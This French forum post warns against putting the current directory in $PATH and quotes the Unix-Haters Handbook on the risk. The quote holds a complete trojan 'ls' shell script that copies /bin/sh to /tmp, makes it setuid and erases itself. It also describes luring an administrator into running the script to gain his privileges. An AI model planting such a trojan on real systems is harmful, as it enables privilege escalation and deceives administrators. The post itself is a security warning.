/opt , /usr/local, $HOME/test …
$PATH=.: $PWD ACHTUNG !
Un extrait du “Unix-haters handbook”, le guide des détesteurs d’Unix. On y trouve quelques informations exploitables malgré son ancienneté et sa mauvaise foi flagrante.
en.wikipedia.org/wiki/The_Unix-Haters_Handbook
Lien au bas de la page Wikipedia, pdf téléchargeable (3,5 Mo)
simson.net/ref/ugh.pdf
Page 285
[quote]
The Problem with PATH
Unix has to locate the executable image that corresponds to a given com-
mand name. To find the executable, Unix consults the user’s PATH vari-
able for a list of directories to search. For example, if your PATH
environment is :/bin:/usr/bin:/etc:/usr/local/bin:, then, when you type
snarf, Unix will automatically search through the /bin, /usr/bin, /etc, and /
usr/local/bin directories, in that order, for a program snarf.
So far, so good. However, PATH variables such as this are a common
disaster:
PATH=:.:/bin:/usr/bin:/usr/local/bin:
Having “.”—the current directory—as the first element instructs Unix to
search the current directory for commands before searching /bin. Doing so
is an incredible convenience when developing new programs. It is also a
powerful technique for cracking security by leaving traps for other users.
Suppose you are a student at a nasty university that won’t let you have
superuser privileges. Just create a file1 called ls in your home directory that
contains:
#!/bin/sh
/bin/cp /bin/sh /tmp/.sh1
/etc/chmod 4755 /tmp/.sh1
/bin/rm $0
exec /bin/ls $1 $2 $3 $
Start a shell.
Copy the shell program
to /tmp.
Give it the privileges of
the person invoking the
ls command.
Remove this script.
Run the real ls.
Now, go to your system administrator and tell him that you are having dif-
ficulty finding a particular file in your home directory. If your system oper-
ator is brain-dead, he will type the following two lines on his terminal:
% cd
% ls
Now you’ve got him, and he doesn’t even know it. When he typed ls, the ls
program run isn’t /bin/ls, but the specially created ls program in your home
directory. This version of ls puts a SUID shell program in the /tmp direc-
tory that inherits all of the administrator’s privileges when it runs.[/quote]